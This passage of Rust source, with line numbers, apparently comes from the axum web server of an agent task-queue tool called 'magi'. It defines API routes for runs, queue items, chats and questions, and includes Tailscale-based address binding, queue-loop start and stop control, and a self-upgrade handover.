1use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::extract::rejection::JsonRejection;
106use axum::extract::{Path, Query, State};
107use axum::http::{HeaderValue, StatusCode, header};
108use axum::response::sse::{Event, KeepAlive, Sse};
109use axum::response::{IntoResponse, Response};
110use axum::routing::{delete, get, post};
111use jiff::Timestamp;
112use serde::{Deserialize, Serialize};
113use tokio_stream::StreamExt as _;
114use tokio_stream::wrappers::ReceiverStream;
115
116use crate::ask::{Answer, Question, Questions};
117use crate::chat::{Chat, Chats};
118use crate::config::Config;
119use crate::md;
120use crate::proc::Quiet as _;
121use crate::queue::{Queue, Task, title_from};
122use crate::run::{RunState, RunStatus};
123use crate::talk::{Talk, Talks};
124use crate::{chat, daemon, report, repos, run, talk};
125
126pub const DEFAULT_PORT: u16 = 7878;
128
129const POLL: Duration = Duration::from_secs(1);
131
132const KEEPALIVE: Duration = Duration::from_secs(15);
136
137const LIST_DEFAULT: usize = 50;
141const LIST_MAX: usize = 500;
143
144const TITLE_MAX: usize = 72;
146
147const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
170 font-src data:; base-uri 'none'; form-action 'none'; \
171 frame-ancestors 'self'";
172
173const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
174const APP_CSS: &str = include_str!("../assets/ui/app.css");
175const APP_JS: &str = include_str!("../assets/ui/app.js");
176
177#[derive(Debug, Clone, Copy, PartialEq, Eq)]
179pub enum Bind {
180 Auto,
182 Addr(IpAddr),
184}
185
186impl std::str::FromStr for Bind {
187 type Err = String;
188
189 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
193 if s.eq_ignore_ascii_case("auto") {
194 return Ok(Self::Auto);
195 }
196 s.parse()
197 .map(Self::Addr)
198 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
199 }
200}
201
202impl std::fmt::Display for Bind {
203 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
204 match self {
205 Self::Auto => f.write_str("auto"),
206 Self::Addr(addr) => write!(f, "{addr}"),
207 }
208 }
209}
210
211#[derive(Debug, Clone)]
213pub struct Opts {
214 pub bind: Bind,
216 pub port: u16,
218 pub repo: PathBuf,
220 pub open: bool,
223 pub merge: Option<String>,
231}
232
233impl Default for Opts {
234 fn default() -> Self {
235 Self {
236 bind: Bind::Auto,
237 port: DEFAULT_PORT,
238 repo: PathBuf::from("."),
239 open: false,
240 merge: None,
241 }
242 }
243}
244
245#[derive(Debug, Clone)]
251pub struct Ui {
252 queue: Queue,
253 questions: Questions,
254 chats: Chats,
255 talks: Talks,
256 runs: PathBuf,
257 home: PathBuf,
258 repo: PathBuf,
259 worktrees_root: PathBuf,
266 turns: Arc<Mutex<HashSet<String>>>,
274 talk_turns: Arc<Mutex<HashSet<String>>>,
279 resuming: Arc<Mutex<HashSet<String>>>,
286 repos_cache: repos::Cache,
290 merge: Option<String>,
292 looping: Arc<Mutex<LoopState>>,
294 launch: Launch,
306}
307
308impl Ui {
309 pub fn new(
311 queue: Queue,
312 questions: Questions,
313 chats: Chats,
314 talks: Talks,
315 runs: PathBuf,
316 home: PathBuf,
317 repo: PathBuf,
318 ) -> Self {
319 Self {
320 queue,
321 questions,
322 chats,
323 talks,
324 runs,
325 home,
326 repo,
327 worktrees_root: run::default_worktree_root(),
331 turns: Arc::default(),
332 talk_turns: Arc::default(),
333 resuming: Arc::default(),
334 repos_cache: repos::Cache::new(),
335 merge: None,
336 looping: Arc::default(),
337 launch: launch_daemon,
338 }
339 }
340
341 pub fn open(repo: PathBuf) -> Self {
344 Self::new(
345 Queue::open(),
346 Questions::open(),
347 Chats::open(),
348 Talks::open(),
349 run::runs_root(),
350 run::home(),
351 repo,
352 )
353 }
354
355 #[must_use]
362 pub fn with_merge(mut self, merge: Option<String>) -> Self {
363 self.merge = merge;
364 self
365 }
366
367 #[must_use]
372 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
373 self.worktrees_root = root;
374 self
375 }
376
377 #[cfg(test)]
382 #[must_use]
383 fn with_launch(mut self, launch: Launch) -> Self {
384 self.launch = launch;
385 self
386 }
387
388 fn looping(&self) -> Arc<Mutex<LoopState>> {
390 Arc::clone(&self.looping)
391 }
392
393 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
400 if let Some(other) = foreign {
401 return Err(ApiError::conflict(format!(
402 "{} is already running the loop, so this one will not start a \
403 second: two loops on one queue race for the same claims and \
404 burn the agent quota twice over. Stop it where it was \
405 started.",
406 other.who()
407 )));
408 }
409 let mut state = self.lock_loop();
410 if state.live.as_ref().is_some_and(Live::alive) {
411 return Err(ApiError::conflict(format!(
412 "this magi web process (pid {}) is already running the loop",
413 std::process::id()
414 )));
415 }
416
417 let stop = daemon::Stop::new();
418 let opts = daemon::Opts {
422 repo: self.repo.clone(),
423 merge: self.merge.clone(),
424 ..daemon::Opts::default()
425 };
426 let launch = self.launch;
427 let looping = Arc::clone(&self.looping);
428 let handle = tokio::spawn({
429 let opts = opts.clone();
430 let stop = stop.clone();
431 async move {
432 let failure = match launch(opts, stop).await {
433 Ok(()) => None,
434 Err(e) => Some(format!("{e:#}")),
435 };
436 match &failure {
437 Some(why) => tracing::error!("the loop stopped: {why}"),
438 None => tracing::info!("the loop stopped"),
439 }
440 let mut state = lock_or_recover(&looping);
446 state.live = None;
447 state.last_error = failure;
448 state.rev += 1;
449 }
450 });
451 tracing::info!(
452 "the loop is now running in this process: repo {}, merge {}",
453 opts.repo.display(),
454 opts.merge.as_deref().unwrap_or("as the config says")
455 );
456 state.live = Some(Live { stop, handle, opts });
457 state.last_error = None;
460 state.rev += 1;
461 Ok(())
462 }
463
464 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
470 if let Some(other) = foreign {
471 return Err(ApiError::conflict(format!(
472 "the loop belongs to {}, and this process cannot stop it - \
473 stop it where it was started. A button that silently did \
474 nothing would be worse than this refusal.",
475 other.who()
476 )));
477 }
478 let mut state = self.lock_loop();
479 let Some(live) = state.live.as_ref() else {
480 return Ok(());
481 };
482 if live.stop.stopped() && (!park || live.stop.parking()) {
486 return Ok(());
487 }
488 if park {
489 live.stop.park();
490 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
491 } else {
492 live.stop.stop();
493 tracing::info!("the loop was asked to stop; a run in flight is finished first");
494 }
495 state.rev += 1;
496 Ok(())
497 }
498
499 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
506 let state = self.lock_loop();
507 let live = state.live.as_ref().filter(|live| live.alive());
510 LoopView {
511 running: live.is_some(),
512 stopping: live.is_some_and(|live| live.stop.finishing()),
513 parking: live.is_some_and(|live| live.stop.parking()),
514 owned: live.is_some(),
515 repo: live
516 .map_or(&self.repo, |live| &live.opts.repo)
517 .display()
518 .to_string(),
519 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
520 last_error: state.last_error.clone(),
521 daemon: DaemonView::of(reading),
522 }
523 }
524
525 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
527 lock_or_recover(&self.looping)
528 }
529
530 fn begin_turn(&self, id: &str) -> ApiResult<TurnGuard> {
553 let mut live = self
554 .turns
555 .lock()
556 .map_err(|_| ApiError::internal("the chat turn lock was poisoned"))?;
557 if !live.insert(id.to_owned()) {
558 return Err(ApiError::conflict(format!(
559 "chat {id} is already taking a turn"
560 )));
561 }
562 Ok(TurnGuard {
563 chat: id.to_owned(),
564 turns: Arc::clone(&self.turns),
565 })
566 }
567
568 fn begin_talk_turn(&self, id: &str) -> ApiResult<TalkTurnGuard> {
572 let mut live = self
573 .talk_turns
574 .lock()
575 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
576 if !live.insert(id.to_owned()) {
577 return Err(ApiError::conflict(format!(
578 "talk {id} is already taking a turn"
579 )));
580 }
581 Ok(TalkTurnGuard {
582 talk: id.to_owned(),
583 turns: Arc::clone(&self.talk_turns),
584 })
585 }
586
587 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
594 let parking = {
595 let mut state = self.lock_loop();
596 let Some(live) = state.live.as_ref() else {
597 return Ok(None);
598 };
599 let busy = live.stop.busy_now();
600 live.stop.park();
601 state.rev += 1;
602 busy
603 };
604 Ok(if parking {
605 daemon::current_work(&self.home, jiff::Timestamp::now()).map(|c| c.run)
606 } else {
607 None
608 })
609 }
610
611 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
615 let mut live = self
616 .resuming
617 .lock()
618 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
619 if !live.insert(id.to_owned()) {
620 return Err(ApiError::conflict(format!(
621 "run {id} is already being resumed"
622 )));
623 }
624 Ok(ResumeGuard {
625 run: id.to_owned(),
626 resuming: Arc::clone(&self.resuming),
627 })
628 }
629
630 pub fn router(self) -> Router {
638 Router::new()
639 .route("/", get(index))
640 .route("/app.css", get(app_css))
641 .route("/app.js", get(app_js))
642 .route("/api/health", get(health))
643 .route("/api/loop", get(loop_get).post(loop_post))
644 .route("/api/upgrade", post(upgrade_post))
645 .route("/api/runs", get(runs_list))
646 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
647 .route("/api/runs/{id}/report", get(run_report))
648 .route("/api/runs/{id}/fold", post(run_fold))
649 .route("/api/runs/{id}/resume", post(run_resume))
650 .route("/api/queue", get(queue_list))
651 .route("/api/queue/{id}", delete(queue_delete))
652 .route("/api/repos", get(repos_list))
653 .route("/api/queue/{id}/hold", post(queue_hold))
654 .route("/api/queue/{id}/release", post(queue_release))
655 .route("/api/queue/{id}/priority", post(queue_priority))
656 .route("/api/queue/{id}/edit", post(queue_edit))
657 .route("/api/queue/{id}/done", post(queue_done))
658 .route("/api/questions", get(questions_list))
659 .route("/api/questions/{id}/answer", post(question_answer))
660 .route("/api/questions/{id}/panel", get(question_panel))
661 .route("/api/questions/{id}/panel/index.html", get(question_panel))
669 .route("/api/questions/{id}/panel/{name}", get(question_asset))
670 .route("/api/questions/{id}/asset/{name}", get(question_asset))
671 .route("/api/chats", get(chats_list).post(chat_post))
672 .route("/api/chats/{id}", get(chat_detail))
673 .route("/api/chats/{id}/say", post(chat_say))
674 .route("/api/chats/{id}/file", post(chat_file))
675 .route("/api/talks", get(talks_list).post(talk_post))
676 .route("/api/talks/{id}", get(talk_detail))
677 .route("/api/talks/{id}/say", post(talk_say))
678 .route("/api/talks/{id}/close", post(talk_close))
679 .route("/api/events", get(events))
680 .with_state(Arc::new(self))
681 }
682}
683
684#[derive(Debug)]
690struct TurnGuard {
691 chat: String,
692 turns: Arc<Mutex<HashSet<String>>>,
693}
694
695impl Drop for TurnGuard {
696 fn drop(&mut self) {
697 if let Ok(mut live) = self.turns.lock() {
698 live.remove(&self.chat);
699 }
700 }
701}
702
703#[derive(Debug)]
705struct TalkTurnGuard {
706 talk: String,
707 turns: Arc<Mutex<HashSet<String>>>,
708}
709
710impl Drop for TalkTurnGuard {
711 fn drop(&mut self) {
712 if let Ok(mut live) = self.turns.lock() {
713 live.remove(&self.talk);
714 }
715 }
716}
717
718struct ResumeGuard {
720 run: String,
721 resuming: Arc<Mutex<HashSet<String>>>,
722}
723
724impl Drop for ResumeGuard {
725 fn drop(&mut self) {
726 if let Ok(mut live) = self.resuming.lock() {
727 live.remove(&self.run);
728 }
729 }
730}
731
732async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
742 const WINDOW: Duration = Duration::from_secs(10);
743 const GAP: Duration = Duration::from_millis(250);
744
745 let deadline = std::time::Instant::now() + WINDOW;
746 let mut said = false;
747 loop {
748 match tokio::net::TcpListener::bind(socket).await {
749 Ok(listener) => return Ok(listener),
750 Err(e)
751 if e.kind() == std::io::ErrorKind::AddrInUse
752 && std::time::Instant::now() < deadline =>
753 {
754 if !said {
755 said = true;
756 tracing::info!(
757 "{socket} is still held - waiting up to {}s for it, \
758 which is what a restart looks like from here",
759 WINDOW.as_secs()
760 );
761 }
762 tokio::time::sleep(GAP).await;
763 }
764 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
765 }
766 }
767}
768
769static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
772
773fn spawn_successor() -> Result<()> {
785 let exe = std::env::current_exe().context("find this binary")?;
786 let args: Vec<String> = std::env::args().skip(1).collect();
787 tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
788
789 let mut cmd = std::process::Command::new(&exe);
790 cmd.args(&args)
791 .stdin(std::process::Stdio::null())
792 .stdout(std::process::Stdio::null())
793 .stderr(std::process::Stdio::null());
794 #[cfg(windows)]
795 {
796 use std::os::windows::process::CommandExt as _;
797 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
800 }
801 cmd.spawn().context("start the successor")?;
802 Ok(())
803}
804
805pub async fn serve(opts: Opts) -> Result<()> {
830 let (addr, warning) = resolve_bind(&opts.bind);
831 if let Some(warning) = warning {
832 tracing::warn!("{warning}");
833 }
834
835 report::set_color(false);
841
842 let ui = Ui::open(opts.repo).with_merge(opts.merge);
843 let looping = ui.looping();
844 let socket = SocketAddr::new(addr, opts.port);
845 let listener = bind_waiting(socket).await?;
846 let url = format!("http://{addr}:{}", opts.port);
847 tracing::info!(
848 "magi web UI on {url} - there is no authentication, so anyone who can \
849 reach this address can file and hold tasks: the tailnet is the \
850 security boundary"
851 );
852 tracing::info!(
853 "the queue loop is not running yet - start it from the UI, which is \
854 the whole reason this process can: nothing in the queue moves until \
855 something is running the loop"
856 );
857 if opts.open {
858 println!("{url}");
862 }
863
864 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
867 let interrupted = async {
868 if tokio::signal::ctrl_c().await.is_err() {
869 std::future::pending::<()>().await;
874 }
875 };
876 let handover = HANDOVER.notified();
877 tokio::select! {
878 joined = &mut served => match joined {
879 Ok(outcome) => outcome.context("serve the web UI"),
880 Err(e) => Err(e).context("the task serving the web UI ended"),
881 },
882 () = interrupted => {
883 tracing::info!("shutting down the web UI");
884 finish_loop(&looping).await;
885 Ok(())
886 }
887 () = handover => {
888 tracing::info!("upgraded - handing this address to the successor");
889 hand_over(&looping, served, spawn_successor).await
890 }
891 }
892}
893
894async fn hand_over(
917 looping: &Mutex<LoopState>,
918 served: tokio::task::JoinHandle<std::io::Result<()>>,
919 successor: impl FnOnce() -> Result<()>,
920) -> Result<()> {
921 finish_loop(looping).await;
922 served.abort();
923 let _ = served.await;
924 successor()
925}
926
927async fn finish_loop(state: &Mutex<LoopState>) {
934 let live = lock_or_recover(state).live.take();
935 let Some(live) = live else { return };
936 live.stop.stop();
937 lock_or_recover(state).rev += 1;
938 tracing::info!("waiting for the loop to finish the run in flight");
939 let _ = live.handle.await;
942}
943
944pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
950 match bind {
951 Bind::Addr(addr) => (*addr, None),
952 Bind::Auto => match tailscale_ip() {
953 Ok(ip) => (IpAddr::V4(ip), None),
954 Err(why) => (
955 IpAddr::V4(Ipv4Addr::LOCALHOST),
956 Some(format!(
957 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
958 local-only and a phone cannot reach it; start Tailscale \
959 or pass --bind <addr>"
960 )),
961 ),
962 },
963 }
964}
965
966fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
974 let out = std::process::Command::new("tailscale")
975 .args(["ip", "-4"])
976 .quiet()
977 .output()
978 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
979 if !out.status.success() {
980 let why = String::from_utf8_lossy(&out.stderr);
981 let why = why.trim();
982 return Err(format!(
983 "`tailscale ip -4` failed ({}){}",
984 out.status,
985 if why.is_empty() {
986 String::new()
987 } else {
988 format!(": {why}")
989 }
990 ));
991 }
992 String::from_utf8_lossy(&out.stdout)
993 .lines()
994 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
995 .find(is_tailnet)
996 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
997}
998
999fn is_tailnet(ip: &Ipv4Addr) -> bool {
1001 let o = ip.octets();
1002 o[0] == 100 && (64..=127).contains(&o[1])
1003}
1004
1005type ApiResult<T> = std::result::Result<T, ApiError>;
1009
1010#[derive(Debug)]
1012struct ApiError {
1013 status: StatusCode,
1014 message: String,
1015 problems: Vec<String>,
1025}
1026
1027impl ApiError {
1028 fn bad_request(message: impl Into<String>) -> Self {
1030 Self {
1031 status: StatusCode::BAD_REQUEST,
1032 message: message.into(),
1033 problems: Vec::new(),
1034 }
1035 }
1036
1037 fn bad_request_with(message: impl Into<String>, problems: Vec<String>) -> Self {
1039 Self {
1040 problems,
1041 ..Self::bad_request(message)
1042 }
1043 }
1044
1045 fn not_found(message: impl Into<String>) -> Self {
1047 Self {
1048 status: StatusCode::NOT_FOUND,
1049 message: message.into(),
1050 problems: Vec::new(),
1051 }
1052 }
1053
1054 fn with_status(mut self, status: StatusCode) -> Self {
1057 self.status = status;
1058 self
1059 }
1060
1061 fn bad_request_from(e: anyhow::Error) -> Self {
1065 Self::bad_request(format!("{e:#}"))
1066 }
1067
1068 fn conflict(message: impl Into<String>) -> Self {
1069 Self {
1070 status: StatusCode::CONFLICT,
1071 message: message.into(),
1072 problems: Vec::new(),
1073 }
1074 }
1075
1076 fn internal(message: impl Into<String>) -> Self {
1078 Self {
1079 status: StatusCode::INTERNAL_SERVER_ERROR,
1080 message: message.into(),
1081 problems: Vec::new(),
1082 }
1083 }
1084}
1085
1086impl From<anyhow::Error> for ApiError {
1087 fn from(e: anyhow::Error) -> Self {
1092 Self::internal(format!("{e:#}"))
1093 }
1094}
1095
1096impl IntoResponse for ApiError {
1097 fn into_response(self) -> Response {
1098 let mut body = serde_json::json!({ "error": self.message });
1099 if !self.problems.is_empty() {
1100 if let Some(map) = body.as_object_mut() {
1102 map.insert("problems".to_owned(), serde_json::json!(self.problems));
1103 }
1104 }
1105 (self.status, Json(body)).into_response()
1106 }
1107}
1108
1109async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1118where
1119 T: Send + 'static,
1120{
1121 match tokio::task::spawn_blocking(job).await {
1122 Ok(result) => result,
1123 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1124 }
1125}
1126
1127const ASSET_CACHE: &str = "no-cache, must-revalidate";
1145
1146fn asset_etag() -> &'static str {
1153 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1154 format!(
1155 "\"{}-{}\"",
1156 env!("CARGO_PKG_VERSION"),
1157 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1162 )
1163 });
1164 &TAG
1165}
1166
1167fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1169 [
1170 (header::CONTENT_TYPE, mime),
1171 (header::CACHE_CONTROL, ASSET_CACHE),
1172 (header::ETAG, asset_etag()),
1173 ]
1174}
1175
1176fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1184 let tag = asset_etag();
1185 let known = headers
1186 .get(header::IF_NONE_MATCH)
1187 .and_then(|v| v.to_str().ok())
1188 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1192 if known {
1193 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1194 }
1195 (asset_headers(mime), body).into_response()
1196}
1197
1198async fn index(headers: header::HeaderMap) -> Response {
1199 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1200}
1201
1202async fn app_css(headers: header::HeaderMap) -> Response {
1203 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1204}
1205
1206async fn app_js(headers: header::HeaderMap) -> Response {
1207 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1208}
1209
1210#[derive(Debug, Serialize)]
1212struct HealthView {
1213 version: &'static str,
1214 home: String,
1215 queue_rev: u64,
1216 runs_rev: u64,
1217 questions_rev: u64,
1229 chats_rev: u64,
1231 talks_rev: u64,
1236 loop_rev: u64,
1241 runs_unreadable: usize,
1249 disk: DiskView,
1257 questions_open: usize,
1262 chats_open: usize,
1270 daemon: DaemonView,
1271 #[serde(rename = "loop")]
1277 looping: LoopView,
1278}
1279
1280#[derive(Debug, Serialize)]
1285struct DiskView {
1286 #[serde(skip_serializing_if = "Option::is_none")]
1288 free_bytes: Option<u64>,
1289 runs_bytes: u64,
1291 worktrees_bytes: u64,
1293 #[serde(skip_serializing_if = "Option::is_none")]
1295 cache_bytes: Option<u64>,
1296}
1297
1298impl DiskView {
1299 fn of(ui: &Ui) -> Self {
1301 let cache_bytes = Config::discover(&ui.repo, None)
1302 .ok()
1303 .and_then(|(cfg, _)| cfg.cache_dir())
1304 .map(|dir| crate::disk::dir_size(&dir));
1305 Self {
1306 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1307 runs_bytes: crate::disk::dir_size(&ui.runs),
1308 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1309 cache_bytes,
1310 }
1311 }
1312}
1313
1314#[derive(Debug, Serialize)]
1316struct DaemonView {
1317 running: bool,
1318 idle: Option<bool>,
1319 pid: Option<u32>,
1320 current: Option<daemon::Current>,
1321 completed: Option<u64>,
1322 stale_for_secs: Option<i64>,
1323}
1324
1325impl DaemonView {
1326 fn of(status: Option<daemon::Reading>) -> Self {
1330 let Some(status) = status else {
1331 return Self {
1332 running: false,
1333 idle: None,
1334 pid: None,
1335 current: None,
1336 completed: None,
1337 stale_for_secs: None,
1338 };
1339 };
1340 let now = Timestamp::now();
1341 let age = status.age_secs(now);
1342 Self {
1343 running: status.running(now),
1344 idle: Some(status.idle),
1345 pid: status.pid,
1346 current: status.current,
1347 completed: Some(status.completed),
1348 stale_for_secs: age,
1349 }
1350 }
1351}
1352
1353async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1354 blocking(move || {
1355 let reading = daemon::read_status(&ui.home);
1359 let loop_rev = ui.lock_loop().rev;
1363 Ok(Json(HealthView {
1364 version: env!("CARGO_PKG_VERSION"),
1365 home: ui.home.display().to_string(),
1366 queue_rev: ui.queue.revision(),
1367 runs_rev: runs_revision(&ui.runs),
1368 questions_rev: ui.questions.revision(),
1369 chats_rev: ui.chats.revision(),
1370 talks_rev: ui.talks.revision(),
1371 loop_rev,
1372 runs_unreadable: runs_unreadable(&ui.runs),
1373 questions_open: ui.questions.count_open(),
1374 chats_open: ui.chats.count_open(),
1375 daemon: DaemonView::of(reading.clone()),
1376 looping: ui.loop_view(reading),
1377 disk: DiskView::of(&ui),
1378 }))
1379 })
1380 .await
1381}
1382
1383#[derive(Debug, Serialize)]
1385struct LoopView {
1386 running: bool,
1388 stopping: bool,
1396 parking: bool,
1404 owned: bool,
1412 repo: String,
1415 merge: Option<String>,
1418 last_error: Option<String>,
1426 daemon: DaemonView,
1429}
1430
1431#[derive(Debug, Clone, Copy)]
1440struct Foreign {
1441 pid: Option<u32>,
1443}
1444
1445impl Foreign {
1446 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1449 let reading = reading?;
1450 if !reading.running(Timestamp::now()) {
1451 return None;
1452 }
1453 match reading.pid {
1454 Some(pid) if pid == std::process::id() => None,
1455 pid => Some(Self { pid }),
1459 }
1460 }
1461
1462 fn who(&self) -> String {
1465 match self.pid {
1466 Some(pid) => format!("another magi process (pid {pid})"),
1467 None => "another magi process".to_owned(),
1468 }
1469 }
1470}
1471
1472type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1477
1478fn launch_daemon(
1480 opts: daemon::Opts,
1481 stop: daemon::Stop,
1482) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1483 Box::pin(daemon::serve_until(opts, stop))
1484}
1485
1486#[derive(Debug, Default)]
1488struct LoopState {
1489 live: Option<Live>,
1491 rev: u64,
1499 last_error: Option<String>,
1502}
1503
1504#[derive(Debug)]
1506struct Live {
1507 stop: daemon::Stop,
1509 handle: tokio::task::JoinHandle<()>,
1514 opts: daemon::Opts,
1518}
1519
1520impl Live {
1521 fn alive(&self) -> bool {
1523 !self.handle.is_finished()
1524 }
1525}
1526
1527fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
1534 state.lock().unwrap_or_else(PoisonError::into_inner)
1535}
1536
1537async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
1539 blocking(move || {
1540 let reading = daemon::read_status(&ui.home);
1541 Ok(Json(ui.loop_view(reading)))
1542 })
1543 .await
1544}
1545
1546#[derive(Debug, Deserialize)]
1552#[serde(deny_unknown_fields)]
1553struct LoopCommand {
1554 running: bool,
1555 #[serde(default)]
1565 park: bool,
1566}
1567
1568async fn loop_post(
1576 State(ui): State<Arc<Ui>>,
1577 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1578) -> ApiResult<Json<LoopView>> {
1579 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1582 blocking(move || {
1583 let reading = daemon::read_status(&ui.home);
1584 let foreign = Foreign::of(reading.as_ref());
1585 if body.running {
1586 ui.start_loop(foreign)?;
1587 } else {
1588 ui.stop_loop(foreign, body.park)?;
1589 }
1590 Ok(Json(ui.loop_view(reading)))
1591 })
1592 .await
1593}
1594
1595#[derive(Debug, Serialize)]
1597struct UpgradeView {
1598 from: String,
1600 to: Option<String>,
1602 parked: Option<String>,
1604 detail: String,
1606}
1607
1608async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
1632 let reading = daemon::read_status(&ui.home);
1633 if let Some(other) = Foreign::of(reading.as_ref()) {
1634 return Err(ApiError::conflict(format!(
1635 "the loop belongs to {}, so replacing this binary would leave \
1636 that process running an old one against the same queue. Upgrade \
1637 where it was started.",
1638 other.who()
1639 )));
1640 }
1641
1642 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
1647 let latest = match crate::updater::Checker::new(&cfg.update) {
1648 Some(checker) => checker
1649 .newer_release()
1650 .await
1651 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
1652 None => None,
1653 };
1654 let Some(latest) = latest else {
1655 return Ok((
1656 StatusCode::OK,
1657 Json(UpgradeView {
1658 from: env!("CARGO_PKG_VERSION").to_owned(),
1659 to: None,
1660 parked: None,
1661 detail: "Already on the newest release. Nothing was parked \
1662 and nothing restarted."
1663 .to_owned(),
1664 }),
1665 ));
1666 };
1667
1668 let parked = ui.park_for_upgrade()?;
1671 let detail = match &parked {
1672 Some(run) => format!(
1677 "Run {} is parking at its next step, which can take as long as \
1678 the step it is on - up to an hour for an implement wave. The \
1679 deck replaces itself once it parks, comes back, and the loop \
1680 carries that run on from where it stopped. Nothing is lost if \
1681 you close this.",
1682 crate::run::short_of(run)
1683 ),
1684 None => "The deck replaces itself and comes back. Nothing was in \
1685 flight to park."
1686 .to_owned(),
1687 };
1688
1689 tokio::spawn(async move {
1690 if let Err(e) = upgrade_and_restart().await {
1691 tracing::error!("the upgrade did not complete: {e:#}");
1692 }
1693 });
1694
1695 Ok((
1696 StatusCode::ACCEPTED,
1697 Json(UpgradeView {
1698 from: env!("CARGO_PKG_VERSION").to_owned(),
1699 to: Some(latest.tag_name.clone()),
1700 parked,
1701 detail,
1702 }),
1703 ))
1704}
1705
1706async fn upgrade_and_restart() -> Result<()> {
1711 crate::updater::run_self_update(true, false, true).await?;
1714 tracing::info!("binary replaced - asking the server to hand over");
1715 HANDOVER.notify_one();
1716 Ok(())
1717}
1718
1719#[derive(Debug, Serialize)]
1725struct RunSummary {
1726 id: String,
1727 short: String,
1728 status: String,
1729 done: bool,
1730 instruction: String,
1731 title: String,
1732 repo: String,
1733 repo_name: String,
1734 created_at: String,
1735 updated_at: String,
1736 candidates: usize,
1737 viable: usize,
1738 judges: usize,
1739 winner: Option<char>,
1740 reviews: usize,
1741 quota_losses: usize,
1742 event: Option<String>,
1743 superseded_by: Option<String>,
1748 waiting: bool,
1755 pr: Option<crate::run::PrRecord>,
1757}
1758
1759impl RunSummary {
1760 fn of(state: &RunState, waiting: bool) -> Self {
1761 Self {
1762 id: state.id.clone(),
1763 short: state.short().to_owned(),
1764 status: status_word(state.status),
1765 done: state.status.done(),
1766 instruction: state.instruction.clone(),
1767 title: title_from(&state.instruction, TITLE_MAX),
1768 repo: state.repo.display().to_string(),
1769 repo_name: state
1770 .repo
1771 .file_name()
1772 .map(|n| n.to_string_lossy().into_owned())
1773 .unwrap_or_default(),
1774 created_at: state.created_at.to_string(),
1775 updated_at: state.updated_at.to_string(),
1776 candidates: state.candidates.len(),
1777 viable: state.viable().len(),
1778 judges: state.config.graph.judges,
1779 winner: state.winner().map(|c| c.label),
1780 reviews: state.reviews.len(),
1781 quota_losses: state.quota.len(),
1782 event: state.events.last().map(|e| e.message.clone()),
1783 waiting,
1784 superseded_by: None,
1787 pr: state.pr.clone(),
1788 }
1789 }
1790}
1791
1792fn status_word(status: RunStatus) -> String {
1795 status.as_str().to_owned()
1799}
1800
1801#[derive(Debug, Deserialize)]
1803struct ListQuery {
1804 #[serde(default)]
1805 limit: Option<usize>,
1806}
1807
1808async fn runs_list(
1809 State(ui): State<Arc<Ui>>,
1810 Query(q): Query<ListQuery>,
1811) -> ApiResult<Json<Vec<RunSummary>>> {
1812 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
1813 blocking(move || {
